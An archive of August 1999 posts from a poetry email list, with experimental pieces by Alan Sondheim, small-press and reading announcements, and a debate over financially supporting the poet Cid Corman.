[FVWM][Read]: trying to read system rc file /*There isn't any, Nikuko! /bin/sh: xfilemanager: command not found /* It's not installed, Jennifer! X connection to :0.0 broken (explicit kill or server shutdown). /* Application crashed for lack of resources, Julu! CRASH! Vertical speed = -118.589912 ft/sec /* Stupid Stupid Nikuko! Lateral speed = 100.000000 ft/sec Final Score: 0 /* I told you so, Nikuko, "says Jennifer" CRASH! Vertical speed = -118.589912 ft/sec /* Stupid Stupid Jennifer! Lateral speed = 100.000000 ft/sec Final Score: 0 /* I told you so, Jennifer, "says Nikuko" can't load tile font xmahjongg /* You'll have to fuck me now, "says Julu" /bin/sh: xboard: command not found /* It's not installed, Jennifer-Julu! X connection to :0.0 broken (explicit kill or server shutdown). /* You're just gonna have to fuck me now, Jennifer-Nikuko, "says Julu" [FVWM][Done]: <<ERROR>> Call of '/usr/openwin/bin/olvwm' failed!!!! /* You'd rather go to that CRASH-LAND TOKYO bar, "says Nikuko jealously to Jennifer, waiting for a reply, Julu down on all fours, restarting 'fvwm2' instead"

---

5. Jennifer and Julu Playing The Unknown Game

Attempt to grapple or ungrapple Death Star Galleon (s0): h
Death Star Galleon (s0): boarding the Flying Dutchy (f0)
Flying Dutchy (f0): boarders from Death Star Galleon repelled
Death Star Galleon (s0): killed in melee: 0. Flying Dutchy: 0
Death Star Galleon (s0): boarding the F6ying Dutchy (f0)
Death Star Galleon (s0): killed in melee: 0. Flying Dutchy: 0
Repair (hull, guns, rigging)? hull! no, rigging! guns!
Avast heaving!
Message? Jennifer, are we yet sailing?
Flying Dutchy (f0): "ailing?"
Death Star Galleon (s0): boarding the Flying Dutchy (f0)
Flying Dutchy (f0): boarders from Death Star Galleon repelled
Death Star Galleon (s0): Yay! Avast! Hip Hooray!
Flying Dutchy (f0): quarterdeck bulwarks damaged
Flying Dutchy (f0): boarders from Death Star Galleon repelled
Death Star Galleon (s0): killed in melee: 0. Flying Dutchy: 0
yes!!
Flying Dutchy (f0): "!!"
killed in melee: 0.
Death Star Galleon (s0): "What in God's-Name are you yelling?!!"
Repair (hull, guns, rigging)? Yes! Yay! Avast! Hip Hooray!
Avast heaving!
Flying Dutchy and Death Star Galleon heave and heave and heave!
Death Star Galleon (s0): boarding the Flying Dutchy (f0)
Flying Dutchy (f0): boarders from Death Star Galleon repelled
Death Star Galleon (s0): killed in melee: 292!!!
Flying Dutchy: 0
Avast heaving!(f0): "sage"ng the Flying Dutchy (f0)
Repair (hull, guns, rigging)? e
Avast heaving! and says Julu, "Are we sailing, Jennifer?"
Flying Dutchy (f0): "ailing, Jennifer?"
Sail ho! (range 1, (computer))
Death Star Galleon (s0) Spanish Corvette off the starboard bow.
Yay! We're sailing sailing sailing!
Message? We're coming for you, Jennifer!!!
Uh oh!

---

6. Fragment

I am incredibly wealthy, says Nikuko, "I don't have to work at all," and this gives me the time to write my brilliant texts."

Oh Nikuko, says Julu, "I do not begrudge" you the freedom you have to create your work, which is close to genius and needs nourishing both psychological and economic!"

"Ah, Jennifer," says Nikuko, "I do hope you feel exactly in this way as well as Julu," I am this spirit of perfect writing!"

I am incredibly lucky to know you, says Jennifer, "of course you have my full love and support" in everything you write and do."

==== > Alan Sondheim, [redacted], [redacted] (US), 432 Dean Street, Brooklyn, NY, 11217 USA < ====

↑ Index

328. Patrick F. Durgin

Bosquet / West

Sat 28 Aug 1999

I am seeking to contact Oscarine Bosquet and Bobbie West. If anyone is able to pass along contact information, would appreciate hearing from them.

Patrick F. Durgin

k e n n i n g
a newsletter of contemporary poetry
http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

↑ Index

329. jesse glass

Re: social conformity vs Cid Corman

Sat 28 Aug 1999

Dear Allen: You've shouted the subtext of my postings. Thanks! Letter writing was proposed in addition to...

Also, please keep in mind that a certain delicacy in tone would be appreciated by all concerned. Jesse

-----Original Message-----
From: A H Bramhall <[redacted]>
To: [redacted] <[redacted]>

Date: Friday, August 27, 1999 10:58 AM
Subject: social conformity vs Cid Corman

>Cid Corman needs financial backing so the answer this the poetry community
>reaches is to write letters? well that's a complicated enough reaction.
>(Great Pan Is Dead!). wouldn't money, the famous greengrab stuff, be more
>effective? not to fetishize money but the figurative BUCK is being passed
>here when a real one could be passed to someone who needs it. if that's the
>point here: I'm beginning to wonder. is my logic too deep? statements about
>community have resounded here recently but that's just yack for the cheap
>seats. community means exclusive neighbourhood, the usual who's in/who's
out
>bullshit power structure. the fuckin Boston scene, the fuckin SF scene, the
>fuckin Philly scene. all just regional fuckin mugwumpism. you don't know
>community from horseshit so name the social club something else. you're
>waiting for someone important to talk to you, some authority, that's all.
>well Cid Corman already did. and, by the many accounts given, he is and has
>been a generous man, yet the response to his predicament is to look for a
>government or semi govt teat for him to suck on. charity begins with the
>government... sounds like those poli sci courses wore off. rather than
>barricading yourself in the administration building again, try sending him
>money. if, as I say, that's the point of this exercise. $$$Allen
Bramhall$$$
>

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330. Patrick F. Durgin
Kenning publication announcement
Sat 28 Aug 1999

As summer draws to a close and the air gradually cools, I think it's high time I send off the summer '99 issue of Kenning. If you are bound to receive a copy in the coming week, you are either a contributor or a subscriber (or some other sort of co-conspirator). You know if you fit these criteria and you know if you don't. For the latter, let me invite you to snap up a copy before they're gone (see ordering information at the end of this message). And if you'd rather not receive publication announcements from Kenning in the future, reply to the e-mail address at the end of this message and say so: you will be taken off the mailing list.

Kenning Vol. 2, No. 2 Issue #5 Summer 1999
C O N T E N T S
Poetry:

Lyn Hejinian
Peter Neufeld
Rachel Blau DuPlessis
John M. Bennett
Peter O'Leary
E. Tracy Grinnell
Brian Kim Stefans
Brent Cunningham
Jon Cone
Michael Basinski
Gene Tanta
Michael Gottlieb
Kristin Prevallet
Clark Coolidge
Poetics:
Michael Magee
Reviews:
Sarah Mangold's *Blood Substitutes* by Daniel J. Beachy-Quick
Snake Hiss compact disc by Patrick F. Durgin
Editor's Note:
"Agent and Agency"
89 pp. / $5.00

Purchase a sample copy by sending a check or M.O. for $5.00 payable to the editor, Patrick F. Durgin, to 418 Brown St. #10, Iowa City, Iowa, 52245. Subscribe to receive 2 issues ($9.50) or 4 issues ($19.00) by sending the appropriate amount to the same. Subscribers receive their issues in loose-leaf as well as a hand-printed portfolio suitable to hold several (about 5) numbers of the newsletter. For more information on most every aspect of the newsletter, see the Kenning website

http://www.avalon.net/~kenning

The autumn/winter '00 issue of Kenning is entitled "Cunning: a descriptive checklist of tentative politics" and is collaboratively guest-edited by myself, Renee Gladman, Jen Hofer, and Rod Smith. See the website for more information.

Thanks and best wishes for the coming season: Patrick F. Durgin

k e n n i n g
a newsletter of contemporary poetry
http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

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331. Julie Johnson
Duration Press Announcements
Sun 29 Aug 1999

Duration Press now has a new home, with some exciting new stuff...

Our new address is www.durationpress.com

The August 28th Small Press Announcements page is up. The next listing will be for September 11th. All presses, journals, etc., who wish to have their publications listed, please go to the announcements page @ the Duration website, & follow the instructions.

An in-progress version of the first book of our ongoing out of print book archive is also available @ the archives section of the website.

The anthology _Code of Signals_, first published in the early 80's & edited by Michael Palmer, features work by Palmer, Charles Bernstein, Claude Royet-Journoud & Emmanuel Hocquard, Michael Davidson, Fanny Howe, & Steve McCaffery, among others. As stated above, this archive is still in the works, but will be finished very soon.

↑ Index

332. Ramez Qureshi
NYC Bookstores
Sun 29 Aug 1999

Dear all:

could anyone name for me bookstores in NYC where I could find a book like Cole Swensons _Try_, or any which carry periodicals like _Sulfur_

Thanks in advance,
Ramez Qureshi

↑ Index

333. Ramez Qureshi
address query
Sun 29 Aug 1999

---

does anyone have e-mail addresses for

David Buuck?
Clayton Eshelman?
Ed Foster?

Please back-channel

Thanx in advance,
Ramez Qureshi

↑ Index

334. Todd Baron /*/ ReMap Readers

work

Sun 29 Aug 1999

Horn Tooting:

There's a nice magazine on-line with work by myself, Leslie Scalapino, Mark Axlerod and others.

Onyx (from Chapman) @

www.chapman. edu/comm/english/onyx

edited by Bill Crandall.

Odd--still not used to the internet as page. These things
got out and such. Any comments on the "use" of internet magazines?
I still like the stuff on the coffee table best.
What happens to the rest?

Todd Baron

↑ Index

335. Alan Sondheim

face

Sun 29 Aug 1999

=-=

face

there are facial scrubbings, sloughed skin, foetal membranes ,,
drawn down over nose and mouth, palls over eyes, burst bubbles,
waters, afterbirths, miscarriages, thinned to blown egg-white
consistency ,,
*/ what makes you yearn for me for me for me
breathing through albumen, caught against glues held taut across the
ears, lymph-tympana, silked, almost sweet and globular ,,
stumped arms, legs moist and glistening, phantom flailed limbs soaked
in mucous ,,
*/ i so do do do want to understand to understand
understanding through the throat, black bile, bruised abdomens,
cauterizations ,,

yellowed scars, dipthongs and pallid scabs, little stories on
distended skins ,,
*/ i see those boys boys boys
boys and their milky legs, boys and their milky legs ,,
swollen salivary glands, mouth dribbles whitened against pale
contusions, marks of non-memory, dried tears, fleshed-peeled from torn
corners of tumescent eyes ,,
mumblings beneath surfaces, through the nostrils, what, nothing,
what, what ,,
girls' blood, clotted tastes suffused on paler skin, ruptured dreams
gone long ways back ,,
coming broken to you, i, i, i, i am sick of that letter, of any
letter, of any ,,
*/ does it bother you that letter of any, or a father or a mother?
of you, what a bother ,,
closed up remnants, edged with juices, designs and vomits ,,
and and brocades, and a long way back ,,
and and and drenched clothes, and a longer way ,,
and a way and a longer way ,,
*/ you mentioned that letter of any letter of any?
back back back ,,
*/ can you elaborate on that and look at me?

↑ Index

336. Al Filreis
Stein's Balto house
Sun 29 Aug 1999

Someone wrote me (because I have Stein material on my web site) and mentioned Stein's house in Baltimore at 215 East Biddle Street. I don't know how many Baltimore-area folks are on this list, but it may interest them and perhaps others in the region to know that the house is being renovated by a fellow (Bill Leroux) who hasn't decided yet what to do with it. There is some notion of making it a place where readings would take place.

Below is part of a message sent to me about it (I know nothing further):

| The house at 215 E Biddle is in a neighborhood known as Mt. | Vernon/Belvedere. Actually, my friend owns the home (and has for about 35 | years) but does not live in it. It has not been occupied since the | 1970's. | | Presently he's restoring it to a single family home but is not sure | what he will do with it. (Might make a great place for a reading..) If | you or someone you

know would like more information or possibly to see it, | please feel free to contact the owner, Mr. Bill Leroux, at [redacted] | (best time to reach him is before 9 a.m.) I think also, he may be | interested in going to Yale to see if a photograph is there. |

--Al Filreis

↑ Index

337. Daniel Kane
Kristen Prevallet teaches poetry to third graders
Mon 30 Aug 1999

T & W features poet Kristen Prevallet's exercise based on incorporating a "magic spellbook" into the teaching of poetry writing. This exercise was inspired by two examples in the T&W book Luna, Luna: Creative Writing Ideas from Spanish, Latin American, & LatinoLiterature. Adapt her ideas for your own classrooms, and check this page for further updates.

http://www.writenet.org/fwir_kprevallet.html

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338. Poetics List
The Semantic Rhyming Dictionary / Poetangles
Mon 30 Aug 1999

---

this came to the administrative account. Chris

--

From: [redacted]
Date: 8/29/99 2:23 PM +0000

Found an interesting site, perhaps useful to some:

The Semantic Rhyming Dictionary

http://www.link.cs.cmu.edu/dougb/rhyme-doc.html

↑ Index

339. Poetics List
The Public World/Syntactically Impermanence / Scalapino
Mon 30 Aug 1999

---

this came to the administrative account. Chris

--

From: Thos J White <[redacted]>
Date: 8/29/99 5:22 PM -0700

This new book by Leslie Scalapino is available from Wesleyan University Press (Orders at University Press of New England: [redacted]; e-mail [redacted]) or Small Press Distribution (//www.spdbooks.org; [redacted]; e-mail [redacted]). The Public World/Syntactically Impermanence, $17.95. (152 pages) ISBN 0-8195-6379-X. "Scalapino's work is sui generis, profoundly original. In The Public World/Syntactically Impermanence, she synthesizes the various aspects of her writing into a powerful and gripping combination of critical writing and post-genre 'creative' writing. Her practise of, and reflection on, narrative are breathtaking." -- Pierre Joris "Scalapino's claim 'Poetry in this time and nation is doing the work of philosophy -- it is writing which is conjecture,' is startling in its boldness. Her conjecture opens things up and moves us to places we may have been but hadn't seen before. Her 'scrutiny' is striking and distinctive." -- Paul Rabinow From Publishers Weekly Review: "...her third book of essays and hybrid poem-plays. While the book is divided into two sections -- with eight 'essays' in the first and three longer 'works' in the second -- this distinction is rendered highly permeable by Scalapino's resolutely non-normative, or non-academic at least, prose style. An intricate weave of cross-references from text to text heightens the interconnectedness of the book, and allows the nomadic -- and dedicated -- reader to describe a sort of productive rebus throughout the book. The book is also surprisingly engaging, as Scalapino discusses the early foundations of Zen (Nagarjuna's Seventy Stanzas) and the works of some of her peers, particularly Philip Whalen, Susan Howe and Robert Creeley. In their 'demonstration of no-procedure' ('Deer Night' is a 'total rewriting of The Tempest and King Lear), the essays indirectly suggest a comparison between the temporal indeterminacy of many Zen texts and Gertrude Stein's notion (from William James) of the 'continuous present,' and aim to resist easy cultural absorption. Agrammatical title and all, this is critical writing as restless as it is beautiful, in which poetry is boldly proclaimed as constituting 'society's secret interior.'"

↑ Index

340. David Kirschenbaum
Cid Corman Fundraisers
Mon 30 Aug 1999

Mark Prejsnar wrote re: AH Bramhall:
>
>This seems a pretty lame response to the Corman thread. Does this poster
>have any idea how much extra disposable income the various folks on the
>thread HAVE? i guess he has plenty, from the assumptions he makes. But

>most *poets* really don't got much....
>

What we do have on this list, are hundreds of people who know how to make beautiful books, write wonderful words and, who even know how to get them sold. What Allen's talking about is not $$ necessarily, but a community rising up to take care of one of its own in a way only it would know how, not waiting for the other to do it. A simple way would be to do some sort of book, ala Nice to See You: Homage to Ted Berrigan, for Cid Corman. Has this ever been done? If not these could be used as fundraiser, with limited board-bound, lettered and signed copies going for extra scratch. The list is also filled with people who know how to put together and promote wonderful events, many of which raise good chunks of money. Friends at the UofAlaska raised $5K on one event last year, which was then matched by a donor, and there have to be more out there than this. Why not do readings, or concerts, or raffles of handsigned books. Any number of creative things can be done. We do have sweat equity, and though the grant avenues should be used till the grantwriters fingers bleed, why not take charge and do what we know best? Be Good, David

---

Get Your Private, Free Email at http://www.hotmail.com

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341. MAXINE CHERNOFF
Reading
Mon 30 Aug 1999

In San Francisco on Sept 11 at 5 pm, Attic Club, 3336 24th Street

Paul Hoover and Maxine Chernoff, poetry reading

↑ Index

342. Brian Stefans
Emile Nelligan's E-mail Address
Mon 30 Aug 1999

Actually, Nelligan's long dead, but I'll be heading up to Montreal this Thursday for the weekend and wanted to find out where the historic sites might be regarding this poet. Anybody out there have any information?

The sites I've found -- of which there are a fair amount -- are all in French, and from what I can tell don't contain this type tourist (tripe), er, information. I'm especially interested in the location of the writer's group that he was a part of, l'

École littéraire de Montréal, where he read "La Romance de Vin," interesting because he was carried around on the shoulders of his, er, "communiyt" that evening for having more or less created French Canadian poetry, and then went comatose with some form of schizophrenia two months later (at 20 ans).

At least that's what I _read_ -- I'm sure someone who was there will correct me!

But seriously, I'd love to find some locations.

Cheers,
Brian

↑ Index

343. Kathy Lou Schultz
Re: social conformity vs Cid Corman
Mon 30 Aug 1999

Ah, but class differences DO exist--even among *poets*. (Yes we've been around this curve before.) I wouldn't chastise anyone for encouraging others to spread around resources.
^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

>From: Mark Prejsnar <[redacted]>
>To: [redacted]
>Subject: Re: social conformity vs Cid Corman
>Date: Fri, Aug 27, 1999, 11:27 AM
>

> *This seems a pretty lame response to the Corman thread. Does this poster have any idea how much extra disposable income the various folks on the thread HAVE? i guess he has plenty, from the assumptions he makes. But most *poets* really don't got much....*
>
> *On Thu, 26 Aug 1999, A H Bramhall wrote:*
>
> *Cid Corman needs financial backing so the answer this the poetry community reaches is to write letters? well that's a complicated enough reaction. (Great Pan Is Dead!). wouldn't money, the famous greengrab stuff, be more effective? not to fetishize money but the figurative BUCK is being passed*

> *here when a real one could be passed to someone who needs it. if that's the point here: I'm beginning to wonder. is my logic too deep? statements about community have resounded here recently but that's just yack for the cheap seats. community means exclusive neighbourhood, the usual who's in/who's out bullshit power structure. the fuckin Boston scene, the fuckin SF scene, the fuckin Philly scene. all just regional fuckin mugwumpism. you don't know community from horseshit so name the social club something else. you're waiting for someone important to talk to you, some authority, that's all. well Cid Corman already did. and, by the many accounts given, he is and has been a generous man, yet the response to his predicament is to look for a government or semi govt teat for him to suck on. charity begins with the government... sounds like those poli sci courses wore off. rather than barricading yourself in the administration building again, try sending him money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$*

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344. Michael Walsh
Re: NYC Bookstores
Mon 30 Aug 1999

Dear Ramez Qureshi,

St Marks Books (3rd Ave and 9th St) will usually have Sulfur (and other such periodicals) -- in the back, on the right, across from the remainders. Their poetry books are not so good, but they sometimes have some things, and so might have Swenson.

Good luck,
Michael Walsh

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345. Todd Baron /*/ ReMap Readers
Re: social conformity vs Cid Corman
Mon 30 Aug 1999

I would, sadly, say that the responses to Cid's place in the world have less to do with Cid than with those making the responses. Poets have little money ---from their poetry-- there are a few folks who have been able to get into the game because of family comforts--etc. Also: so many are teaching right now that perhaps a seris of readings---if Cid wants'em--would bring him some much needed income. But--als again-Cid hasn't chimed in here--so it's not of it really about Cid!

↑ Index

346. Todd Baron /*/ ReMap Readers
(no subject)
Mon 30 Aug 1999

>
> Has anybody seen (i'm told it's also in new issue) Tina Brown's TALK
> magazine, which has yet another attack on Laura Riding?
>
> c
 it doesn't feel so much as an attack as a gossipy bio that TALK does as
its bread n' but.

↑ Index

347. Juliana Spahr
fall festival in Hawai'i
Mon 30 Aug 1999

Not too late to book tickets (which I hear are cheap right now!)

http://www2.hawaii.edu/~uhmeng/celebrate/

3rd annual
fall celebration of writers
ALTER ENGLISHES

all events are free and open to the public

Friday, September 24
Yukiyoshi Room, Krauss Hall, University
of Hawaiʻi at Manoa
2:00 pm :
Presentations
Cecilia Vicuña: In Tongues Within

Art Auditorium, University of Hawaiʻi at Manoa
6:45 pm : Book Fair begins
7:30 pm : Readings
Eric Gamalinda
Cecilia Vicuña
Lee Tonouchi

Saturday, September 25
Yukiyoshi Room, Krauss Hall, University of Hawaiʻi at Manoa
10:00 am : Presentations
Kuʻualoha Meyer Hoʻomanawanui: Challenges and Issues Faced by
Contemporary Hawaiian Writers

Anne Tardos: Multilingual Writing, for Example
Lee Tonouchi: Da Death of Pidgin?

Art Auditorium, University of Hawaiʻi at Manoa
2:00 pm : Presentation
Grace Molisa
A writer and activist from Vanuatu, Grace Molisa will
speak about writing in languages other than English and
the intersection of language, gender, and human rights.

Her presentation will be followed by a panel discussion
of writers and scholars.

This event is sponsored by the Hawaiʻi Committee for the Humanities

Art Auditorium, University of Hawaiʻi at Manoa
6:45 pm : Book Fair begins
7:30 pm : Readings
Kuʻualoha Meyer Hoʻomanawanui
Grace Molisa
Anne Tardos

Organized by Kyle Koza, Rodney Morales, Susan Schultz, Caroline Sinavaiana-Gabbard, Juliana Spahr, John Zuern,

Sponsored by
`A ʻA Arts
Atherton Foundation
Board of Publications, University of Hawaiʻi at Manoa
Creative Writing Program, Department of English, University of Hawaiʻi at Manoa
Hawaiʻi Committee for the Humanities
Hawaiʻi Review
National Endowment for the Humanities Fund, University of Hawaiʻi
Outreach College, University of Hawaiʻi at Manoa

We plan to publish proceedings of the conference at the website.

Last year's readings are available in real audio at
http://www2.hawaii.edu/~spahr/fallfestival

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348. **pete spence**
Re: address query
Mon 30 Aug 1999

> *From: Maria Damon* <[redacted]>

> *contact info needed ASAP for Cecilia Vicuna...thanks*

is this person from south america???/pete spence

if so then maybe padin knows

Get Your Private, Free Email at http://www.hotmail.com

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349. **Stephen Ellis**
Re: social conformity vs Cid Corman
Mon 30 Aug 1999

Bramhall's response to the Corman "thread" is in fact at base not lame at all. We needn't presume for Bramhall any particular degree of wealth to notice that his post has mostly to do with the way work is distributed and financed - wch implies a responsibility not only of a readershp that reads, but a readership that is able to help bring material forward, put it out, ie., books, magazines, the whole nine yards. So, who pays for it? Since readership is an office, so to speak, that often sees itself as having acquired a special ability,

the work on which these skills might be applied is expected to arrive free of charge, ie., the rout(e)ing of like minds. And that, in many ways, remains a fair assessment, tho how many poets give away copies of at least some of their work at readings, conferences and like venues? Cost these days has really become of consequence viz. means of

publishing even the most modest gatherings; while there's always been money "about" for such - and the assumption is that there always will be more of it, from somewhere - the time is getting increasingly ripe toward finding out more precisely where that "somewhere" is. How much

truth is there in the notion that many poets spend most of their "spare" money on their own publishing projects, while giving lip service sans coin to those of others that they "approve" of? Ie., where's the community? Literally, sure, it's readers, who are often writers who read in order to translate read texts into active and in part inverted orders of their own. Theirs. His. Hers. Ours. Who

ARE these people? And why does their "getting along" so often look, when read between the lines, like so much Going Along? Ie., the swap of work for work, mag for mag, etc., is what really defines how "contemporary" any scene is, often at the expense of those not somehow "present" - poesis as a kind of market,

(I cringe to think) as old goods are simply that, old. Corman in that sense somehow equivalent to the fineness of a 18th century three-legged chair, an antique. & who trades in antiquities? Collectors. As if Corman were a museum

piece (not to say not also an important part of a considerable tradition). Bramhall's post, I think, speaks to that aspect of currency that seems the sort of commanding shallowness that presumes that "received goods" don't have to come from specific places, or, that if there IS work involved in "moving it", it's the work of someone else. Or should be. But

the work is ours. Or is ours to the extent we have and live within the image of a community, virtual as it may be, tho it might remain one of USE to the extent it is useful. But what is useful? Tastes

change. But there's an underlying current that buoys them into visibility, carries them ... where? Or in that sense of carrying and being carried, too, where are WE? is what it seems Bramhall is asking

in a way that could be generative, could its ulterior motive be shattered into distributive sense rather than simply Identified, offered rather than taken, tho we shld not forget Berrigan's dictum out of Runyon,

"Get The Money." What do you do with it, tho, after it's there, in terms of what anyone else is doing with (or without) theirs? Ie., who do you publish (or for that matter, who are you when "he" who was "you" THEN is writing), and FOR whom? As if anything, abeit it all finite, anyway ever had an end ...

SPEND the money, it matter not how little.

S E

> *From: Mark Prejsnar <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: social conformity vs Cid Corman*
> *Date: Fri, 27 Aug 1999 14:27:51 -0400*
>
> *This seems a pretty lame response to the Corman thread. Does this poster have any idea how much extra disposable income the various folks on the thread HAVE? i guess he has plenty, from the assumptions he makes. But most *poets* really don't got much....*
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> *On Thu, 26 Aug 1999, A H Bramhall wrote:*
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> *Cid Corman needs financial backing so the answer this the poetry community*
> *reaches is to write letters? well that's a complicated enough reaction. (Great Pan Is Dead!). wouldn't money, the famous greengrab stuff, be more*
> *effective? not to fetishize money but the figurative BUCK is being passed*
> *here when a real one could be passed to someone who needs it. if that's*

> *the*
> *point here: I'm beginning to wonder. is my logic too deep? statements about*
> *community have resounded here recently but that's just yack for the cheap*
> *seats. community means exclusive neighbourhood, the usual who's in/who's out*
> *bullshit power structure. the fuckin Boston scene, the fuckin SF scene, the*
> *fuckin Philly scene. all just regional fuckin mugwumpism. you don't know*
> *community from horseshit so name the social club something else. you're*
> *waiting for someone important to talk to you, some authority, that's all.*
> *well Cid Corman already did. and, by the many accounts given, he is and has*
> *been a generous man, yet the response to his predicament is to look for a*
> *government or semi govt teat for him to suck on. charity begins with the*
> *government... sounds like those poli sci courses wore off. rather than*
> *barricading yourself in the administration building again, try sending him*
> *money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$*

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350. **Stephen Ellis**

Re: social conformity vs Cid Corman (addendum)

Mon 30 Aug 1999

"Really don't got much" means how much, exactly? We're all a bunch of carpers, the whole human race, when it comes to money. That you (we) don't have much goes without saying; on a more positive note, how much, in fact, do you (we all, any of us) actually have? If

everyone on the List contributed $20 to Corman or any -thing or -body else, who - aside from those who would insist FOREVER that "they really cld't afford it" - really CLDN'T afford it? It's weird,

trying to get money from others for projects thought up by others than themselves. Deconstructive resolve only goes so far (one step forward and two steps back forever toward the outstretched hand, it seems); the Virtual Person we all rely on to invisibly come through when the rent's due, when you're the man who owes $532 on his gas bill, when there're no onions in sight, balks

immeasurably when faced with the semblance of simple friendship involved in a mutualist ensemble of quantifiable grammar (to be published), because somebody in the end is gonna have to pay, and friendship's s'posed to be free, shit,

so let's all go home and do our singular art. Alone.

S E

> *From: Mark Prejsnar <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: social conformity vs Cid Corman*
> *Date: Fri, 27 Aug 1999 14:27:51 -0400*
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> *Cid Corman needs financial backing so the answer this the poetry community*
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> *effective? not to fetishize money but the figurative BUCK is being passed*
> *here when a real one could be passed to someone who needs it. if that's the*
> *point here: I'm beginning to wonder. is my logic too deep? statements about*
> *community have resounded here recently but that's just yack for the cheap*
> *seats. community means exclusive neighbourhood, the usual who's in/who's out*
> *bullshit power structure. the fuckin Boston scene, the fuckin SF scene, the*
> *fuckin Philly scene. all just regional fuckin mugwumpism. you don't know*
> *community from horseshit so name the social club something else. you're*
> *waiting for someone important to talk to you, some authority, that's all.*
> *well Cid Corman already did. and, by the many accounts given, he is and has*
> *been a generous man, yet the response to his predicament is to look for a*
> *government or semi govt teat for him to suck on. charity begins with the*

> *government... sounds like those poli sci courses wore off. rather than barricading yourself in the administration building again, try sending him*
> *money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$*

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351. **jesse glass**

Re: Upcoming book on Japanese Surrealism

Tue 31 Aug 1999

-----Original Message-----
From: Mark Prejsnar <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, August 30, 1999 11:06 AM
Subject: Re: Upcoming book on Japanese Surrealism

> *The review of Fault Lines is quite interesting. Thanks to a brief mention on the List, i have been reading john Solt's really excellent and useful Shredding the Tapestry of Meaning, a biography of Kitasono Katue, which includes a number of fascinating translations... On occasion i would take issue with Solt on certain ideas vis-a-vis western poetry, and on occasion his understanding of just how meaning and form function in poetry seems a little simplistic; but basically it is a dynamite book.*

I agree with you. He doesn't depend on fashionable jargon to make his point. Instead, his writing style is clear, direct, and user-friendly.
>
>Basically, his point is that the Japanese were taking what
>they needed, and often had very little sense of what the French were
>intending and doing (and didn't always necessarily care)....

So true! This is the case with so many Japanese "borrowings" in culture, science and technology, government...

so that
>"Japanese surrealism" is a rather specific entity, not necessarily that
>close to what we usually mean by the word... (i sure can't judge the
>accuracy of this; but Solt's discussion is compelling and
>fascinating...and it does square with the sense one gets from various
>translations of Kitasono and Nishiwaki..)
>
>My personal feel, coming to this work in ignorance and lacking the

>language, is that Solt's tranlations of Kitasono are extraordinary and of
>great interest.

I couldn't have said it better, Mark. John Solt--who has just left for an English teaching position in Thailand--has been active as a poet and translator since his early days as a student of Kenneth Rexroth. His translations are just what you say hey are...extraordinary.

Glass Beret; The Selected Poems of Kitasono Katue, translated by John Solt and published by Morgan Press (don't have their address in front of me)--ISBN 1-880723-05-0 $30.00, is well worth the price.
>
>In any event, the recent emergence of this stuff is very exciting....
>
>Mark P.
>

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352. Bill Lavender
An Other South: Reading and Symposium
Tue 31 Aug 1999

New Orleans Review
and
Loyola University
announce

An Other South, Symposium and Poetry Reading

Saturday, November 13, 1999
University Center, Loyola University, New Orleans

2:00 PM: A Symposium on the Southern, the Regional, the Experimental 8:00 PM: Readings by Contributors to An Other South, New Orleans Review 25-1

Please help us celebrate the publication of this exciting issue of New Orleans Review. All contributors are invited to read, and everyone is invited to attend. Please reply to this email if you would like to attend and need help finding a place to stay in New Orleans, or if you have any other questions. There will be no charge for any of the events.

The Symposium: All interested parties are invited to submit proposals for short presentations; the presentations may be in any form, from a simple essay to a multi-person performance or audio/visual extravaganza, but may not exceed ten

minutes in length. Topics should be within the range of issues raised by this issue of New Orleans Review, "An Other South: Experimental Writing in the South." Possible broad topics might include (though certainly not be limited to):

What is an Experiment? Is the term still valid, or has "the Experimental" become just another genre? What is a region? What is the relationship of geographical boundaries (like "the South") with contemporary poetry? What literary traditions (ie, Language, post-Language, surrealism, Modernism, etc.) and/or individual writers are of interest for the current Southern literary scene? What are the political and cannonical implications of experimentation in the South?

This list is not intended to be exhaustive, nor even extensive. Please feel free to suggest your own topics, to combine or divide any of the suggestions.

Please submit proposals as soon as possible- no later than October 20. Submit via email or ground mail to:

Bill Lavender
Co-Editor (with Ralph Adamo) of An Other South, New Orleans Review 25-1
email: [redacted]
ground: 5568 Woodlawn Place
New Orleans, LA 70124
phone [redacted]

The Reading: The list of contributors, all of whom are invited to read, follows. A final list of readers and symposium participants will be published shortly before the event.

Doug MacCash
Jim Leftwich
Hank Lazer
Skip Fox
Joel Dailey
Camille Martin
Gerry Cannon
Celestine Frost
A. Di Michele
Bob Grumman
Lorenzo Thomas
David Thomas Roberts
Niyi Osundare
Jake Berry
Dave Brinks
Lindsay Hill
Alex Rawls

John Elsberg
Mark Spitzer
Bill Myers
Seth Young
Jonathan Brannen
Andy Young
M. Sarki
Greg Fuchs
Christopher Chambers
Bill Lavender
Richard Doherty
Nancy Harris
Dennis Formento
Greg Kelley
Susan Facknitz
Brett Evans
Kay Murphy
Amy Trussel
Paul Naylor
Marla Jernigan
Gina Entrebe
James Saunders
Randy Prunty
Mark Prejsnar
M. Magoolaghan
Rebecca Hyman
)ohnLowther
Lawless Crow

Bill Lavender
Co-Editor, An Other South
New Orleans Review

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353. **David Kirschenbaum**
Booglit Reviews: Dale Smith Delivers
Tue 31 Aug 1999

Dale Smith Delivers

Dale Smith is one of the best editors I know. His work as a coeditor, first with Mike & Dale's Younger Poets, and now, with Skanky Possum, always gives me all the people whose words I want in my bookcase in one compact litzine. I've

